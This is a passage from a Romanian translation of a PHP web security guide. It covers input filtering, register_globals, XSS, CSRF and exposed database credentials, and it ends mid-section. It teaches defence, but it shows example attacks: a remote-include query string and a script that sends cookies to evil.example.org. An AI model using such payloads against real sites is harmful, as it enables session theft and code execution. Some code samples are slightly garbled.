



Ghidul Securitatii PHP_{1.0}



Ghidul Securitatii PHP

Cuprins

1. Privire generala
 - 1.1 Ce inseamna securitate?
 - 1.2 Lucruri de baza
 - 1.3 Register Globals
 - 1.4 Filtrarea datelor
 - 1.4.1 Metoda "Dispatch"
 - 1.4.2 Metoda "Include"
 - 1.4.3 Exemple de filtrare
 - 1.4.4 Conventii cu privire la numirea variabilelor
 - 1.4.5 Timing
 - 1.5 Error Reporting
2. Procesarea formurilor
 - 2.1 Trimiteri inselatoare
 - 2.2 HTTP Request-uri inselatoare
 - 2.3 Cross-Site Scripting
 - 2.4 Falsificari Cross-Site Request
3. Baze de date si SQL
 - 3.1 Credentiale de acces expuse
 - 3.2 SQL Injection
4. Sesiuni
 - 4.1 Session Fixation
 - 4.2 Deturnarea Sesiunii
5. Shared Hosts
 - 5.1 Exposed Session Data
 - 5.2 Citirea Filesystem-ului
6. Despre
 - 6.1 Despre Ghid
 - 6.2 Despre Versiunea in Romana
 - 6.3 Despre PHP Security Consortium
 - 6.4 Alte informatii

Ghidul Securitatii PHP: Privire generala

Ce inseamna securitate?

- Securitatea este o masura, nu o caracteristica.

Din pacate multe proiecte de software considera "securitatea" ca o simpla cerinta ce trebuie indeplinita. Este o aplicatie sigura? Aceasta intrebare este la fel de subiectiva ca a intreba daca cineva arata misto.

- Securitatea influenteaza costurile.

Este simplu si relativ ieftin sa obtii un nivel suficient de securitate pentru majoritatea aplicatiilor. Totusi, daca cerintele sunt foarte ridicate, daca trebuie protejate date care sunt foarte importante, atunci trebuie asigurat un nivel de securitate mai ridicat, la un cost mai mare. Aceste cheltuieli trebuie incluse in bugetul proiectului.

- Securitatea influenteaza uzabilitatea.

Masurile luate pentru a imbunatati securitatea deseori influenteaza negativ uzabilitatea. Parole, session timeouts si access control creaza obstacole pentru persoanele care folosesc software-ul in mod legitim. Uneori acestea sunt necesare pentru a asigura un nivel de securitate adecvat, dar nu exista o solutie unica, valabila pentru toate aplicatiile. Este bine sa tii cont de utilizatorii legitimi cand implementezi masuri de securitate.

- Securitatea trebuie sa faca parte din design.

Daca nu dezvolti o aplicatie cu un design care sa tina cont de securitate, va trebui sa rezolvi constant noi vulnerabilitati. Programarea atenta nu compenseaza un design prost.

Lucruri de baza

- Ia in considerare posibilitatile de folosire ilegita a aplicatiei.

Un design sigur este doar o parte din solutie. In timpul dezvoltarii, cand codul este scris, este important sa te gandesti la posibilitatile de folosire ilegita a aplicatiei. Deseori accentul se pune pe a face aplicatia sa functioneze bine in conditii normale. Evident, acest lucru este necesar, dar nu ajuta la nimic in ceea ce priveste securitatea.

- Educa-te.

Faptul ca esti aici este o dovada ca iti pasa de securitate, iar acesta este cel mai important pas (chiar daca suna a cliseu). Exista numeroase resurse disponibile pe web si in carti, cateva dinte acestea fiind mentionate la Biblioteca PHP Security Consortium la <http://phpsec.org/library/>.

- Cel putin, **FILTREAZA TOT CONTINUTUL EXTERN.**

Filtrarea datelor este piatra de baza a securitatii aplicatiilor pentru web in orice limbaj si pe orice platforma. Daca ai initializat variabilele si ai filtrat toate datele care vin din surse externe ai inlaturat majoritatea vulnerabilitatilor cu un foarte mic efort. O lista alba este preferabila unei liste negre. Aceasta inseamna ca trebuie sa consideri toate datele invalide pana cand au fost dovedite valide (in loc sa le consideri valide pana cand au fost dovedite invalide).

Register Globals

Directiva `register_globals` este disabled ca default in PHP versiunea 4.2.0 si versiunile ulterioare. Desi aceasta directiva nu reprezinta o vulnerabilitate, este totusi un factor de risc. Prin urmare, trebuie sa dezvolti si sa folosesti aplicatiile cu `register_globals` disabled.

De ce este aceasta un factor de risc? Exemple bune sunt dificil de dat pentru toata lumea, pentru ca este nevoie de o situatie unica pentru a evidentia riscul. Totusi, cel mai bun exemplu este cel dat in Manualul PHP:

```
<?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?>
```

Cu `register_globals` enabled, aceasta pagina poate fi accesata cu `?authorized=1` in query string pentru a pacali scriptul. Desigur, aceasta vulnerabilitate este vina developerului si nu a `register_globals`, dar exemplifica riscul reprezentat de directiva. Fara ea, variabilele obisnuite (ca `$authorized` in exemplu) nu sunt afectate de data trimisa de utilizator. Cel mai bine este sa initializezi toate variabilele si sa dezvolti cu `error_reporting` setat cu `E_ALL`, astfel incat o variabila neinitializata nu va trece neobservata in timpul dezvoltarii.

Un alt exemplu care ilustreaza cum `register_globals` poate crea probleme este folosirea unui `include` cu o cale dinamica:

```
<?php

include "$path/script.php";

?>
```

Cu `register_globals` enabled, aceasta pagina poate fi accesata cu

`?path=http%3A%2F%2Fevil.example.org%2F%3F` in query string pentru a crea efectul urmator:

```
<?php

include 'http://evil.example.org/?/script.php';

?>
```

Daca `allow_url_fopen` este enabled (si este enabled ca default, chiar si in `php.ini-recommended`), aceasta va include output-ul `http://evil.example.org/` ca si cum ar fi un fisier local. Aceasta este o vulnerabilitate majora, si a fost descoperita in unele aplicatii open source populare.

Initializarea `$path` poate rezolva aceasta problema, cum o rezolva si setarea `register_globals` ca disabled. Pe cand o greseala a developerului poate lasa o variabila neinitializata, `register_globals` disabled este o schimbare globala care este putin probabil sa fie omisa.

Comoditatea este minunata, si cei dintre noi care in trecut trebuiau sa manipuleze manual form data recunosc acest lucru. Totusi, `$_POST` si `$_GET` nu sunt greu de folosit si nu se merita sa risti cu `register_globals` enabled. Desi nu sunt deloc de acord cu cei care asociaza `register_globals` cu securitate slaba, recomand sa fie setat ca disabled.

In plus, `register_globals` disabled incurajeaza developerii sa fie mai atenti la originea datelor, aceasta fiind o importanta caracteristica a oricarui developer care dezvoltata aplicatii sigure.

Filtrarea datelor

Cum am spus mai sus, filtrarea datelor este piatra de baza a securitatii aplicatiilor web, indiferent de limbajul de programare si de platforma. Este vorba de mecanismul prin care se determina validitatea datelor care intra si care ies din aplicatie. Un design bun ajuta developerul sa:

- Asigure ca mecanismul de filtrare nu poate fi ocolit,
- Asigure ca date invalide nu pot trece drept date valide
- Identifice originea datelor.

Exista mai multe metode pentru prevenirea posibilitatii ca mecanismul de filtrare sa fie ocolit. Totusi, doua metode sunt cel mai des folosite, amandoua asigurand un nivel suficient de securitate.

Metoda "Dispatch"

O metoda in care exista un singur script PHP disponibil direct de pe web (via URI). Restul este un modul inclus cu `include` sau `require`, dupa nevoie. Aceasta metoda presupune ca o variabila `GET` sa fie trimisa cu fiecare URI, identificand ce trebuie sa faca aplicatia. Aceasta variabila `GET` poate fi considerata ca inlocuind numele scriptului care ar fi folosit intr-un design mai simplistic. De exemplu:

```
http://example.org/dispatch.php?task=print_form
```

Fisierul `dispatch.php` este singurul fisier din document root. Aceasta ii permite developerului sa faca doua lucruri importante:

- Poate sa implementeze masuri de securitate globale la inceputul fisierului `dispatch.php`, avand siguranta ca aceste masuri nu pot fi ocolite.
- Poate vedea usor daca filtrarea datelor are loc cand este necesar, uitandu-se la codul unui task.

Pentru mai multe detalii, sa consideram urmatorul script `dispatch.php`:

```
<?php

/* Global security measures */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
}
```

```

        }
        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>

```

Daca acesta este singurul script PHP public, este clar ca (datorita designului acestei aplicatii) orice masuri de securitate globale implementate la inceput nu pot fi ocolite. De asemenea, developerul poate vedea usor control flow-ul pentru fiecare task. Spre exemplu, in loc sa caute in mult cod, este usor de vazut ca `end.inc` ajunge la utilizator doar cand `$form_valid` este `true`, si pentru ca este initializat ca `false` inainte sa fie inclus `process.inc`, este clar ca codul din `process.inc` trebuie sa schimbe aceasta variabila in `true`, altfel formul este afisat din nou (probabil cu mesaje care semnaleaza erorile care au avut loc).

Nota

Daca folosesti un fisier `index` pentru director, ca `index.php` (in loc de `dispatch.php`), atunci poti folosi URI-uri ca `http://example.org/?task=print_form`.

De asemenea, poti folosi directiva `ForceType` sau `mod_rewrite` pentru a permite folosirea URI-urilor de genul `http://example.org/app/print-form`.

Metoda "Include"

Alta abordare este crearea unui singur modul responsabil de toate masurile de securitate. Acest modul este inclus la inceputul (sau aproape de inceput) tuturor scripturilor PHP care sunt publice (disponibile via URI). Sa consideram urmatorul script `security.inc`:

```

<?php
switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>

```

In acest exemplu, fiecare form care este trimis are o variabila numita `form` care il identifica in mod unic, iar `security.inc` are un caz separat care se ocupa de validarea datelor din fiecare form. Un exemplu de form HTML care corespunde cerintelor scriptului este:

```
<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>
```

Un array numit `$allowed` este folosit pentru a defini ce variabile sunt permise in form, si aceasta lista tebuie sa coincida cu variabilele din form pentru ca acesta sa fie procesat. Control flow-ul este determinat in alta parte, iar `process.inc` se ocupa de filtrarea datelor.

Nota

O metoda buna pentru a asigura ca `security.inc` este inclus la inceputul fiecarui script PHP este folosirea directivei `auto_prepend_file`.

Exemple de filtrare

Este important sa folosesti o "lista alba" cand e vorba de filtrare. Desi a da exemple pentru fiecare tip de form data este imposibil, cateva exemple pot ilustra o abordare potrivita.

Codul urmatoare valideaza un email::

```
<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@[(-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
    $clean['email'] = $_POST['email'];
}

?>
```

Codul urmatoare verifica daca `$_POST['color']` este rosu, verde, sau albastru:

```
<?php

$clean = array();
```

```

switch ($_POST['color'])
{
    case 'rosu':
    case 'verde':
    case 'albastru':
        $clean['color'] = $_POST['color'];
        break;
}

?>

```

Codul urmatoar verifica daca \$_POST['num'] este un numar intreg:

```

<?php
$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

```

Urmatorul exemplu verifica daca \$_POST['num'] este un numar real:

```

<?php
$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>

```

Conventii cu privire la numirea variabilelor

Fiecare din exemplele de mai sus foloseste un array numit `$clean`. Aceasta ilustreaza un obicei bun care ajuta developerul sa identifice daca datele sunt periculoase. Nu trebuie sa te obisnuiesti sa validezi datele si apoi sa le lasi in `$_POST` sau `$_GET`, pentru ca este important ca un developer sa fie intotdeauna suspicios cand e vorba de array-uri superglobale.

In plus, folosind `$clean` intotdeauna, poti sa consideri ca tot ce nu e in `$clean` poate prezenta un pericol. Aceasta este inca o data o abordare stil "lista alba", care ofera un nivel ridicat de securitate.

Daca tii datele in `$clean` doar daca au fost validate, singurul risc de a nu valida ceva exista in cazul in care accesezi un array element care nu exista.

Timing

Odata ce un script PHP incepe procesarea, intregul HTTP request a fost primit. Aceasta inseamna ca utilizatorul nu mai poate trimite date si deci alte date nu mai pot fi injectate in script (chiar cu `register_globals` enabled). De aceea

initializarea variabilelor functioneaza si este recomandata.

Error Reporting

In versiuni PHP mai vechi de PHP 5, lansat pe 13 Iulie 2004, error reporting este destul de simplistic. In afara de un cod scris cu atentie, raportarea erorilor depinde in principal de cateva directive de configuratie PHP:

- `error_reporting`

Aceasta directiva seteaza nivelul de error reporting dorit. Este recomandat ca aceasta directiva sa fie setata cu `E_ALL` atat pentru dezvoltare, cat si pentru productie.

- `display_errors`

Aceasta directiva determina daca erorile apar pe ecran (incluse in output). Pentru dezvoltare trebuie folosit intotdeauna `display_errors On`, ca sa vezi o alerta cand au loc erori. Pentru productie inasa, trebuie setat `Off` pentru ca potentialele erori sa nu fie vazute de utilizatori (si atacatori).

- `log_errors`

Aceasta directiva determina daca erorile sunt scrise in log. S-a spus ca aceasta poate afecta performanta aplicatiei, dar in mod normal erorile au loc destul de rar. Daca logarea erorilor umple mult spatiu pe hard, atunci probabil ai probleme mai mari decat performanta. Aceasta directiva trebuie setata `On` in productie.

- `error_log`

Aceasta directiva indica locatia fisierului log, in care erorile sunt scrise. Asigura-te ca serverul are permisiunea sa scrie in fisierul in cauza.

Cu `error_reporting` setat `E_ALL` vei vedea daca nu ai initializat toate variabilele, deoarece o variabila nedefinita genereaza un notice.

Nota

Toate aceste directive pot fi setate cu `ini_set()`, in cazul in care nu ai acces la `php.ini` sau la alta metoda de a seta directivele.

Manualul PHP contine informatii cu privire la toate functiile pentru error handling si reporting:

<http://www.php.net/manual/en/ref.errorfunc.php>

PHP 5 include exception handling. Pentru mai multe informatii, vezi:

<http://www.php.net/manual/language.exceptions.php>

Ghidul Securitatii PHP: Procesarea formurilor

Trimiteri inselatoare

Pentru a intelege necesitatea filtrarii datelor, sa consideram urmatorul exemplu aflat (ipotetic vorbind) la

`http://example.org/form.html`:

```
<form action="/process.php" method="POST">
<select name="color">
  <option value="rosu">rosu</option>
  <option value="verde">verde</option>
  <option value="albastru">albastru</option>
</select>
<input type="submit" />
</form>
```

Un atacator poate sa salveze acest HTML si apoi poate sa-l modifice dupa cum urmeaza:

```
<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>
```

Acest nou form se poate afla oriunde (nici macar un web server nu este necesar, este nevoie doar ca fisierul sa fie citit de browser), si poate fi manipulat oricum. URI-ul absolut si atributul `action` trimit request-ul `POST` in acelasi loc, indiferent unde se afla fisierul cu form-ul.

Astfel, este foarte usor pentru atacator sa elimine restrictiile client-side, fie ele HTML sau scripturi client-side care incearca sa filtreze datele. In exemplul de mai sus, `$_POST['color']` nu mai este limitat la `rosu`, `verde`, sau `albastru`. Orice utilizator poate foarte simplu sa creeze un form care poate fi folosit pentru a trimite orice date la URI-ul care proceseaza form-ul.

HTTP Request-uri inselatoare

O metoda mai puternica, dar mai putin comoda pentru atacator este sa foloseasca request-urile HTTP. In exemplul discutat, cand utilizatorul alege o culoare request-ul HTTP arata in felul urmator (presupunem ca utilizatorul a ales `rosu`):

```
POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=rosu
```

Utilitatea `telnet` poate fi folosita pentru un test ad hoc. Urmatorul exemplu face un request `GET` la

`http://www.php.net/`:

```

$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rsl.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...

```

Desigur, iti poti scrie clientul tau in loc sa introduci request-urile manual in `telnet`. Urmatorul exemplu arata acelasi request facut cu PHP:

```

<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>

```

Trimitand request-urile tale ai libertate deplina, ceea ce demonstreaza faptul ca filtrarea server-side este esentiala. Fara aceasta, nu stii sigur ca datele nu vin dintr-o sursa externa.

Cross-Site Scripting

Cross-site scripting (XSS) este un termen familiar, si atentia este meritata. Este una dintre cele mai comune vulnerabilitati in aplicatii web, si multe aplicatii PHP open source au vulnerabilitati XSS.

Atacurile XSS au urmatoarele caracteristici:

- Exploateaza increderea pe care utilizatorul o are intr-un anumit site.

Utilizatorii nu au neaparat incredere in vreun site, dar browserul are. Spre exemplu, cand trimite cookies intr-un request, are incredere in web site. Utilizatorii navigheaza in mod diferit sau chiar cu diferite nivele de securitate, in functie de site-ul pe care il viziteaza.

- Ataca in general site-uri care folosesc date externe.

Aplicatii cu risc ridicat sunt forumuri, programe web mail, sau orice care foloseste syndicated content (ca feed-uri RSS).

- Injecteaza continutul pe care il doreste atacatorul.

Cand data externa nu este filtrata cum trebuie, este posibil sa produci (si sa pui pe pagina) continutul pe care il doreste atacatorul. Aceasta este la fel de periculos cu a lasa atacatorul sa editeze sursa (codul) paginilor.

Cum se poate intampla acest lucru? Daca pui pe pagina continut care vine dintr-o sursa externa fara sa-l filtrezi, esti vulnerabil la XSS. Continut extern nu inseamna doar date care vin de la client. Inseamna si email care apare intr-un client de web mail, un banner, un syndicated blog, si altele. Orice informatie care nu este deja in cod vine dintr-o sursa externa (aceasta inseamna ca majoritatea continutului este de obicei extern).

Sa consideram mesajul urmator dintr-un message board simplistic:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>
```

Acest board adauga
 la orice introduce utilizatorul, adauga aceasta la un fisier si apoi pune pe pagina continutul fisierului.

Sa ne imaginam ca un utilizator introduce mesajul urmator:

```
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie;
</script>
```

Urmatorul vizitator care viziteaza message board-ul cu JavaScript enabled va fi redirectionat la `evil.example.org`, si orice cookies asociate cu site-ul sunt include in query string-ul URI-ului.

Desigur, un atacator real nu va fi limitat la lipsa mea de creativitate si cunoastere de JavaScript. Poti sa vii cu exemple

mai bune (mai rele?).

Ce poti face? Este foarte usor sa-ti protejezi aplicatia impotriva XSS. Mai dificil este cand vrei sa permiti HTML sau scripturi client-side din surse externe (spre exemplu de la utilizatori) si sa le pui pe pagina, dar nici aceste situatii nu sunt extraordinar de dificile. Urmatoarele pot inlatura riscul pe care il prezinta XSS:

- Filtreaza toate datele externe.

Cum am mai spus, filtrarea datelor este cel mai important lucru pe care trebuie sa-l faci. Validand datele externe care intra si ies din aplicatie, ai rezolvat majoritatea problemelor cu privire la XSS.

- Foloseste functii existente.

Lasa PHP sa te ajute in filtrare. Functii ca `htmlspecialchars()`, `strip_tags()`, si `utf8_decode()` pot fi folositoare. Nu recrea ceva ce PHP face deja. Nu numai ca functia PHP este mai rapida, dar este si mult mai bine testata si este putin probabil sa contina erori care creaza vulnerabilitati.

- Foloseste o "lista alba".

Presupune ca toate datele sunt invalide pana cand au fost dovedite valide. Aceasta implica verificarea lungimii si verificarea validitatii caracterelor. Spre exemplu, daca utilizatorul trimite numele de familie, ai putea sa incepi prin a accepta doar caractere alfabetice si spatii. Fii ultra-precaut. Desi numele `O'Reilly` si `Berners-Lee` vor fi considerate invalide, aceasta se rezolva usor adaugand doua caractere la lista alba. Mai bine sa respingi date valide decat sa accepti date care pot ataca aplicatia.

- Foloseste o conventie stricta a numelor.

Cum am mai spus, o conventie in numire ajuta developerii sa distinga datele filtrate de cele nefiltrate. Este important ca aceasta distinctie sa fie cat mai clara. Lipsa claritatii duce la confuzie, care duce la vulnerabilitati.

O versiune mult mai sigura a message board-ului mentionat anterior este urmatoarea:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $message = htmlspecialchars($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>
```

Cu adaugarea `htmlentities()`, message board-ul este mult mai sigur. Nu trebuie considerat complet sigur, dar acesta este cel mai simplu lucru pe care-l poti face pentru a avea un nivel de protectie adecvat. Desigur, este recomandat sa urmezi toate sfaturile pe care le-am discutat.

Falsificari Cross-Site Request

In pofida similaritatii numelui cu XSS, falsificarea request-ului cross-site (CSRF - cross-site request forgeries) reprezinta un stil de atac total opus. Pe cand atacurile XSS exploateaza increderea pe care un utilizator o are intr-un site, atacurile CSRF attacks exploateaza increderea pe care un site o are intr-un utilizator. Atacurile CSRF sunt mai periculoase, mai putin populare (ceea ce inseamna mai putine informatii si resurse pentru developeri), si este mai greu sa te protejezi impotriva lor.

Atacurile CSRF au urmatoarele caracteristici:

- Exploateaza increderea pe care un site o are intr-un anumit utilizator.

Poate nu ai incredere in majoritatea utilizatorilor, dar de obicei aplicatiile ofera unor utilizatori anumite privilegii (dupa log in). Acesti utilizatori 'privilegiati' sunt victime potentiale (complici fara sa vrea).

- In general este vorba de site-uri care se bazeaza pe identitatea utilizatorilor.

In mod normal, de identitatea utilizatorului depind multe. Chiar si cu un sistem de session management sigur, care el insusi reprezinta un lucru nu foarte usor, atacurile CSRF pot reusi. De fapt, in acest mediu atacurile CSRF au cea mai mare putere.

- Realizeaza request-urile HTTP pe care le doreste atacatorul.

Atacurile CSRF includ toate atacurile in care atacatorul falsifica requestul HTTP al unui utilizator (pacalind un utilizator pentru a trimite request-ul pe care il doreste atacatorul). Exista cateva metode care pot fi folosite pentru a realiza acest lucru, si voi da cateva exemple folosind una din metode.

Deoarece atacurile CSRF presupun falsificarea request-urilor HTTP, este important sa fii familiar, cel putin la un nivel de baza, cu HTTP.

Un web browser este un client HTTP, si un web server este un server HTTP. Clientul initiaza o tranzactie trimitand un request, iar serverul completeaza tranzactia trimitand un raspuns. Un request HTTP tipic este urmatorul:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

Prima linie se numeste linia request si contine metoda pentru request, URI-ul cerut (un URI relativ este folosit) si versiunea HTTP. Celelalte linii sunt header-urile HTTP, si numele fiecarui header este urmat de doua puncte, un spatiu si valoarea.

Probabil cunosti modalitatile de accesare a acestor informatii in PHP. Spre exemplu, urmatorul cod poate fi folosit pentru a reconstrui acest request intr-un string:

```
<?php
$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
```

```
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>
```

Un exemplu de raspuns la request-ul precedent este urmatorul:

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57
<html>

</html>
```

Continutul unui raspuns este ceea ce vezi cand dai view source intr-un browser. Tagul `img` in acest raspuns informeaza browser-ul ca un alt raspuns (o imagine) este necesar pentru a crea pagina. Browserul cere aceasta resursa ca pe oricare alta, si ce urmeaza este un exemplu de un astfel de request:

```
GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

Aceasta merita atentie. Browserul cere URI-ul specificat in atributul `src` al tagului `img` exact cum ar fi facut daca utilizatorul ar fi navigat acolo manual. Browserul nu indica faptul ca asteapta o imagine in nici un fel.

Combina aceasta cu ce am invatat pana acum despre form-uri si considera un URI similar cu urmatorul:

```
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
```

O trimitere form care foloseste metoda `GET` este (potential) indescutibila de o cerere a unei imagini - amandoua pot fi request-uri la acelasi URI. Daca `register_globals` este enabled, metoda form-ului nu este importanta (in cazul in care developerul nu foloseste oricum `$_POST` si restul). Sper ca pericolele sunt deja mai clare.

O alta caracteristica care face CSRF atat de puternic este ca orice cookies de la URI sunt incluse in cererea de URI. Un utilizator care a stabilit o relatie cu `stocks.example.org` (spre exemplu este logged in) poate cumpara 1000 de actiuni la `SCOX` vizitand o pagina cu un tag `img` care specifica URI din exemplul de mai sus.

Sa consideram urmatorul form aflat (ipotetic) la `http://stocks.example.org/form.html`:

```
<p>Buy Stocks Instantly!</p>
<form action="/buy.php">
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Quantity:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>
```

Daca utilizatorul introduce `SCOX` la simbol, si `1000` la cantitate si trimite formul, requestul trimis de browser arata in felul urmator:

```
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Am inclus un `Cookie` header in exemplu pentru a ilustra ca aplicatia foloseste un cookie ca session identifier. Daca un `img` tag contine la `src` acelasi URI, acelasi cookie va fi trimis in request-ul pentru URI, si serverul care proceseaza request-ul nu va putea face distinctie intre aceasta si o comanda autentica.

Sunt cateva lucruri pe care poti sa le faci pentru a-ti proteja aplicatia impotriva CSRF:

- Foloseste `POST` in loc de `GET` in formuri. Specifica `POST` in atributul `method` al formularului. Desigur, aceasta nu este potrivit pentru toate form-urile, dar este potrivit pentru form-uri care executa ceva, cum ar fi cupararea de actiuni. De fapt, specificatia HTTP cere ca `GET` sa fie considerat sigur.
- Foloseste `$_POST` mai degraba decat sa te bazezi pe `register_globals`. Folosind metoda `POST` pentru trimerile de formuri nu are nici un efect daca te bazezi pe `register_globals` si folosesti variabile `$_symbol` si `$_cantitate`. De asemenea este inutil sa folosesti metoda `POST` daca apoi folosesti `$_REQUEST`.

- Nu pune prea mult accent pe comoditate.

Desi este de dorit sa faci accesul unui utilizator cat mai usor posibil, prea multa comoditate poate avea consecinte serioase. Desi o abordare de tip "one-click" poate fi facuta foarte sigura, este probabil ca o implemetare simpla sa fie vulnerabila la CSRF.

- Asigura-te ca doar formurile tale pot fi folosite.

Cea mai mare problema cu CSRF o reprezinta request-urile care par a fi form submissions dar nu sunt. Daca un utilizator nu a facut request-ul cu form-ul tau, ar mai trebui sa presupui ca submiterea este legitima si intentionata?

Acum putem scrie un message board si mai sigur:

```
<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

$tokens = file('./tokens.txt');
```

```

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile('./messages.txt');

?>

```

Acest message board inca are cateva vulnerabilitati. Poti sa le gasesti?

Timpul este usor de prezis. MD5-ul timpului nu prea este un numar la nimereala. Functii mai bune sunt `uniqid()` si `rand()`.

Mai important, atacatorul poate obtine usor o \$dovada valida vizitand pagina, pentru ca aceasta este generata si inclusa in sursa. Cu o dovada valida, atacul este la fel de usor ca si pana acum.

Iata o imbunatatire:

```

<?php
session_start();

if (isset($_POST['message']))
{
    if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php
readfile('./messages.txt');
?>

```

Ghidul Securitatii PHP: Baze de date si SQL

Credentiale de acces expuse

Majoritatea aplicatiilor PHP interactioneaza cu o baza de date. Aceasta presupune conectarea la serverul bazei de date folosind credentialele de acces pentru autentificare:

```
<?php

$host = 'example.org';
$username = 'myuser';
$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>
```

Acesta poate fi un exemplu de fisier numit `db.inc` care este inclus oricand e nevoie de conectare la baza de date.

Aceasta abordare este convenabila, si tine datele de acces intr-un singur fisier.

Probleme pot aparea cand acest fisier este undeva in document root. Aceasta este o abordare folosita deseori, pentru ca face `include` si `require` mai usor de folosit, dar poate crea situatii in care credentialele de acces sunt expuse.

Tot ce este in document root are un URI asociat. Spre exemplu, daca document root este

`/usr/local/apache/htdocs`, atunci fisierul `/usr/local/apache/htdocs/inc/db.inc` are un URI de genul `http://example.org/inc/db.inc`.

Combina acest lucru cu faptul ca majoritatea serverelor servesc fisiere `.inc` ca plaintext, si riscul de expunere a credentialelor devine clar. O problema este si ca sursa (codul) acestor module poate fi expusa, dar credentialele sunt informatii care trebuie neaparat protejate.

Desigur, o solutie simpla este sa tii toate modulele in afara document root-ului; aceasta este o abordare buna. Atat `include` cat si `require` accepta o cale din filesystem, deci nu e nevoie ca modulele sa fie accesibile via URI. Este un risc care nu e necesar.

Daca nu ai de ales si modulele de acces trebuiesc plasate in document root, poti pune in fisierul `httpd.conf` (presupunand ca folosesti Apache) ceva de genul:

```
<Files ~ "\.inc$" >
    Order allow,deny
    Deny from all
</Files>
```

Nu e o idee buna ca modulele sa fie procesate de motorul PHP, prin renumirea modulelor cu extensia `.php` sau folosind `AddType` pentru a trata fisierele `.inc` ca fisiere PHP. Executarea codului scos din context poate fi foarte periculoasa, pentru ca este un lucru neasteptat si poate avea rezultate neasteptate. Totusi, daca modulele doar definesc variabile (spre exemplu), acest risc este redus.

Metoda mea favorita pentru a proteja credentialele de acces pentru baza de date este descrisa in PHP Cookbook (O'Reilly) de David Sklar si Adam Trachtenberg. Creaza un fisier, `/path/to/secret-stuff`, pe care numai `root` poate sa-l citeasca (nu `nobody`):

```
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
```

Include acest fisier in `httpd.conf` dupa cum urmeaza:

```
